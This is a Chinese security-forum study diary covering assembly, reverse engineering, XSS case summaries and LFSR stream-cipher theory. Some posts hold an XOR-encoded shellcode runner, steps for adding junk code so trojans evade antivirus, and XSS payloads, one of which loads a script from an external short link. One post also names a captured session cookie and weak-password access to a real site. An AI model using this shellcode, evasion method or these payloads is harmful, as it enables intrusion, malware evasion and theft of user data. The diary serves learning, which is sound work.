安全矩阵

 找回密码
 立即注册
搜索
查看: 2087|回复: 6

周晓学习日记

[复制链接]

12

主题

18

帖子

150

积分

注册会员

Rank: 2

积分
150
发表于 2020-2-18 19:58:42 | 显示全部楼层 |阅读模式
本帖最后由 braveX 于 2020-2-21 00:11 编辑

开始写帖!记录一下汇编里的异或。
XOR命令是异或的意思,其通用格式为:xor 操作数1,操作数2    ——其功能是将两个操作数进行异或运算,并将结果存放到操作数1中。xor cx,cx的意思是对cx自身进行异或操作,结果为0,并将0存回cx中。用mov cx,0也可实现相同的功能,但是自身异或运算效率更高,所以经常看到自身异或的指令来清零。并且根据异或运算的自反律,还可以用来加密与解密。
回复

使用道具 举报

12

主题

18

帖子

150

积分

注册会员

Rank: 2

积分
150
 楼主| 发表于 2020-2-21 00:24:40 | 显示全部楼层
本帖最后由 braveX 于 2020-2-21 00:32 编辑

#include "stdafx.h"
#include <WINDOWS.H>
char encode[]=
//解码ShellCode
"\xEB\x10\x5A\x4A\x33\xC9"
"\x66\xB9\x99\x01\x80\x34"
"\x0A\x97\xE2\xFA\xEB\x05"
"\xE8\xEB\xFF\xFF\xFF"
//编码后的ShellCode
"\xc2\x1c\x7b\x14\x7b\x9b\x51\xd2\x63\xfa\x51\xd2"
"\x62\xe4\x51\xd2\x61\xe1\x51\xd2\x60\xf4\x51\xd2"
"\x6f\xe5\x51\xd2\x6e\xe3\x51\xd2\x6d\xb9\x51\xd2"
"\x6c\xf3\x51\xd2\x6b\xfb\x51\xd2\x6a\xfb\xa4\x45"
"\x1f\xc2\x69\x1a\xd2\x63\xc7\x2f\x13\xbf\x5f\xe2"
"\x68\x47\xc2\x1c\x7b\x14\x7b\x9b\x51\xd2\x63\xf4"
"\x51\xd2\x62\xf8\x51\xd2\x61\xfa\x51\xd2\x60\xfa"
"\x51\xd2\x6f\xf6\x51\xd2\x6e\xf9\x51\xd2\x6d\xf3"
"\x51\xd2\x6c\xb9\x51\xd2\x6b\xf4\x51\xd2\x6a\xf8"
"\x51\xd2\x69\xfa\xa4\x45\x1f\xc2\x68\x1a\xd2\x63"
"\xc7\x2f\xf8\x26\xa3\xe1\x68\x47"
;

void main()
{
((void(*)(void))&encode)();//这里直接调用shellcode
return 0;
}在win7的条件下,运行上面的程序可以直接弹出cmd窗口。
回复

使用道具 举报

12

主题

18

帖子

150

积分

注册会员

Rank: 2

积分
150
 楼主| 发表于 2020-2-22 22:26:08 | 显示全部楼层
本帖最后由 braveX 于 2020-2-22 22:31 编辑

2月22日
花指令是汇编指令,加上花指令的时候一定要满足堆栈平衡,加不加花指令都不影响程序的正常运行,加上花指令(junk code)是为了让破解者无法清楚正确地反汇编程序的内容从而实现程序的加密。杀毒软件对木马静态反汇编时,木马的代码就不会正常显示出来,加大杀毒软件的查杀难度,花指令对抗的是静态调试。花指令一般是由跳转指令组成的,花指令有jmp指令、inc指令、ret指令、jc指令、call指令等等。跳转指令指令分为无条件跳转、有条件跳转、根据EFLAGS寄存器的PSW标志位跳转三种,我记不下来各种跳转指令,只能在遇到的时候百度了,一般的跳转指令是以j开头的指令,cmp指令后往往跟着条件转移指令,实现根据比较的结果产生不同的程序分支的功能。
加花指令的一般步骤:
1、准备好要加的花指令;
2、准备未加壳的软件;
3、用OllyDbg打开这个软件,记下入口点的内存地址;
4、找到零地址,一句一句写入花指令,再用JMP跳回程序入口点;
5、保存后用Peditor修改文件入口点为开始写花指令的地址。这样运行程序就先运行花指令再跳回程序的原始开头执行程序了;
6、检测程序是否正常运行和免杀效果。
花指令一般原理:
PUSH EBP
MOV EBP,ESP
push edx
pop edx
inc ecx
dec ecx
add esp,21
add esp,-21
add esp,10
sub esp,10
JMP 附近空地址
JMP 原入口点

以下是木马彩衣(金色鱼锦衣)花指令:
我们先看看木马彩衣(金色鱼锦衣)花指令
1、push ebp
2、mov ebp,esp
3、add esp,-0C
4、add esp,0C
5、mov eax,原入口
6、push eax
7、retn
还可以在此基础上加上一些变形,例如:
1、push ebp
2、mov ebp,esp
3、nop
4、nop
5、add esp,-0C
6、add esp,0C
7、mov eax,原入口
8、push eax
9、retn
将原来的3、4、5、6、7、几个语句向下移动2行等等方法。
这样单独看还是比较清晰的,但是一旦结合了其他指令,代码一旦复杂起来就看不明白了,自己也写不出来,还是理解的不够深,代码也不熟悉,还是应该经常练习。花指令的知识很深厚,我仅仅是知道了一点皮毛,还要更深入的理解基础知识才可以更好的理解花指令。

《加密与解密》的第一章粗略的讲了一下什么是加密与解密,掌握加密与解密技术的重要性。作为从事计算机相关方向的人来说,懂得加密与解密技术能更好的理解计算机,更好的理解程序,我们还可以自己分析软件,破解软件,找到存在的漏洞并尝试可不可以打补丁。加密与解密是逆向工程的基础。第一章还提了一些操作系统的基本知识,API函数、ASCII码、Unicode码、dll动态链接库等等。看完第一章,我感觉自己什么都不会,啥也不懂,要学的东西还太多了。
回复

使用道具 举报

12

主题

18

帖子

150

积分

注册会员

Rank: 2

积分
150
 楼主| 发表于 2020-2-28 00:37:23 | 显示全部楼层
本帖最后由 braveX 于 2020-2-28 00:47 编辑

2月27日
关于汇编的多次解密还存在一些问题,等先解决了一些再做记录。
乌云文章
第一篇:启维主站存在xss
在日志标签处存在xss。
  1. <a href="/space/diary/index/tag/……"><script src="http://t.cn/R51ixxT"></script>
复制代码

第二篇:大众点评某处储存型xss
在某外卖平台的意见反馈插入xss,
  1. <script>alert(document.cookie)</script>
复制代码
然后就打到cookies了。第三篇:今日头条存储型xss
今日头条http://slide.toutiao.com/提供给开发者开发自己的模板,然后上传发布给其他人使用,但是在制作模板的时候参数没有过滤导致存在存储型xss攻击。过滤了onload=但是在onload后面加一个空格即可绕过。修复方案:过滤提交的内容,xss过滤规则完善。
第四篇:医疗企业安全之微糖一处xss直捣后台(70万患者/6000名医生)
  1. toplocation : http://sys.boyibang.com/index.php?s=/Knowledge/postsList/ended/2016-05-28/p/2.html
  2. cookie : PHPSESSID=bb7uga8faocr9plbh8lo5d8mh2
复制代码
即可知道患者医生的姓名,电话号码等。危害还是等大的。
第五篇:Sohu website storage Xss 6
网址为:http://s9159331849.kuaizhan.com/。主页有显示热卖商品,热卖商品的名称可以插入代码,http://s9159331849.kuaizhan.com/shop/commodity/VzIJ_VfWPg_mwAv_
代码如下:
  1. <object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object>
  2. <embed src="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></embed>
复制代码
第六篇:APP安全之上车一处无效xss可间接影响18万土豪车主(包括认证的特斯拉/劳斯莱斯/法拉利车主等) 打到cookie:
  1. location : http://ishangche.net/staff/toExamine
  2. toplocation : http://ishangche.net/jsp/common/main.jsp?realName=%E9%AA%86%E9%A3%9E&&userName=luofei#
复制代码
发现userName=luofei#,他的用户名是姓名,试了试弱口令,进去了,可以看到很多车主的驾驶证号,私密照,还可以给自己加上会员。xss存在网站动态发布的源代码里。


回复

使用道具 举报

12

主题

18

帖子

150

积分

注册会员

Rank: 2

积分
150
 楼主| 发表于 2020-3-31 18:00:50 | 显示全部楼层
C语言的switch语句和if……else语句都是分支语句,但switch的效率要比if……else高,当选择多的时候就可以明显感觉到,接下来就从汇编的角度来分析一下问题。
if语句代码:
  1. #include<stdio.h>
  2. int main()
  3. {
  4.         int x=2;
  5.         if(x==1)
  6.                 printf("a\n");
  7.         else if(x==2)
  8.                 printf("b\n");
  9.         else if(x==3)
  10.                 printf("c\n");
  11.         else
  12.                 printf("end\n");
  13.         return 0;
  14. }
复制代码
反汇编得到:

这些比较指令比较的耗时间。
switch语句代码:
  1. #include<stdio.h>
  2. int main()
  3. {
  4.         int x=2;
  5.         switch(x)
  6.         {
  7.         case 1:
  8.                 printf("a\n");
  9.                 break;
  10.         case 2:
  11.                 printf("b\n");
  12.                 break;
  13.         case 3:
  14.                 printf("c\n");
  15.                 break;
  16.         case 4:
  17.                 printf("d\n");
  18.                 break;
  19.         default:
  20.                 printf("end\n");
  21.         }
  22.         return 0;
  23. }
复制代码
反汇编得到:

它只需跳转一次就可以,所以switch语句比if语句的效率高,且条件越多越明显。

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

12

主题

18

帖子

150

积分

注册会员

Rank: 2

积分
150
 楼主| 发表于 2020-4-18 22:01:56 | 显示全部楼层
GF(2)上的一个无限序列a=(a1,a2,……,an,……)称为二元序列
周期:对于二元序列a,如果存在正整数l,使得对于一切正整数k都有ak=a(k+l),则称a是周期的。满足上述条件的最小正整数称为a的周期,记为p(a)。
游程的定义
设a是GF(2)上周期为p(a)的周期序列。将a的一个周期依次排列在一个圆周上使a(p(a))与a1相连,把这个圆周上形如

的一连串两两相邻的项分别称为a的一个周期中一个1游程或一个0游程。而1游程中1的个数或0游程中0的个数称为游程的长度。例如011110为1的4游程,10001为0的3游程。
自相关函数
GF(2)上周期为T的序列{ai}的自相关函数定义为

Golomb伪随机公设
3个随机性公设:

满足这三个随机性公设的序列就是伪随机序列。反馈移位寄存器
移位寄存器是流密码产生密钥流的一个主要组成部分。GF(2)上一个n级反馈移位寄存器由n个二元存储器与一个反馈函数f(a1,a2,…,an)组成,如下图所示:

在任意时刻,这些级的内容构成该反馈移位寄存器的状态,每一状态对应于GF(2)上的一个n维向量,共有2的n次方种可能的状态。每一时刻的状态可用n维向量(a1,a2,…,an)表示,其中ai是第i级存储器的内容。
反馈函数初始状态由用户确定。反馈函数f(a1,a2,…,an)是n元布尔函数,即函数的自变量和因变量只取0和1这两个可能的值。函数中的运算有逻辑与、逻辑或、逻辑补等运算。
线性反馈移位寄存器LFSR(linear feedback shift register)

LFSR的反馈函数的一般形式为:

线性反馈移位寄存器实现起来简单,速度快,而且有较为成功的理论,成为构造密钥流生成器的最重要的部件之一。
我们总是假定c1,c2,…,cn中至少有一个不为0,否则f(a1,a2,…,an)=0,总是假定cn=1。
LFSR的性质:
LFSR输出序列的性质:完全由其反馈函数确定
n级LFSR状态数:最多有(2^n)个
n级LFSR的状态周期:<=(2^n)-1
输出序列的周期=状态周期,<=(2^n)-1
选择合适的反馈函数可使序列的周期达到最大值(2^n)-1,周期达到最大值的序列称为m序列

已知序列获得相应的反馈多项式有两种方法:

解方程法——已知序列{a}是由n级线性移位寄存器产生的,并且知道{a}的连续2n位,可用解线性方程组的方法得到反馈多项式

线性反馈移位寄存器综合解——Berlekamp-Massey算法

线性反馈移位寄存器综合

根据密码学的需要,对线性反馈移位寄存器(LFSR)主要考虑下面两个问题:

(1)如何利用级数尽可能短的LFSR产生周期大、随即性能良好的序列。

(2)已知一个长为N的序列a时,如何构造一个级数尽可能小的LFSR来产生它。

如果f(x)是一个能产生a并且级数最小的线性移位寄存器的特征多项式,l是该移位寄存器的级数,则称<f(x),l>为序列a的线性综合解。

给定一个N长二元序列a,求能产生a并且级数最小的线性移位寄存器,就是求a的线性综合解,我们可以利用B-M算法有效的求出。

线性移位寄存器的一元多项式表示
设n级线性移位寄存器的输出序列满足递推关系

用延迟算子D(Dak=ak-1)作为未定元,给出的反馈多项式为:

这种递推关系可用一个一元高次多项式

表示,称这个多项式为LFSR的特征多项式。
根据初始状态的不同,由递推关系生成的非恒零的序列有2n-1个,记这2n-1个非零序列的全体为G(p(x))。
给定序列{ai},幂级数

称为该序列的生成函数。生成函数满足:

不可约多项式
设p(x)是n次不可约多项式,周期为m,序列{ai}属于G(p(x)),则{ai}的周期为m。
m-序列产生的必要条件
n级LFSR产生的序列有最大周期2n-1的必要条件是其特征多项式为不可约的。
m序列满足Golomb的3个随机性公设,所以m序列有伪随机性。




本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

12

主题

18

帖子

150

积分

注册会员

Rank: 2

积分
150
 楼主| 发表于 2020-4-21 10:21:02 | 显示全部楼层
非线性序列
密钥流生成器可分解为驱动子系统和非线性组合子系统,驱动子系统常用一个或多个线性反馈移位寄存器来实现,非线性组合子系统用非线性组合函数F来实现。为了使密钥流生成器输出的二元序列尽可能复杂,也应保证其周期尽可能大、线性复杂度和不可预测性尽可能高。
采用多个LFSR来构造驱动部分的非线性序列生成器,那么我们也把每个LFSR的输出序列称为驱动序列,显然密钥流生成器的周期不大于各驱动序列的乘积。因此提高输出序列的线性复杂度应从极大化其周期开始。
Geffe序列生成器
Geffe序列生成器由3个LFSR组成,其中LFSR2作为控制生成器使用,如图:

当LFSR输出1时,LFSR2与LFSR1相连接;当LFSR2输出为0时,LFSR2与LFSR3相连接。

输出序列可以表示为:

J-K触发器
J-K触发器如图:


他的两个输入端分别用J和K表示,其输出ck不仅依赖于输入J和K,还依赖于前一个输出位ck-1,即

其中,x1和x2分别是J和K端的输入。
利用J-K触发器构造非线性序列生成器是选用两个线性反馈移位寄存器分别作为J-K端的输入,


Pless生成器
Pless生成器由8个LFSR、4个J-k触发器和1个循环计数器构成,由循环计数器进行选通控制,如图所示:



本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-3-29 13:38 , Processed in 0.018071 second(s), 19 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表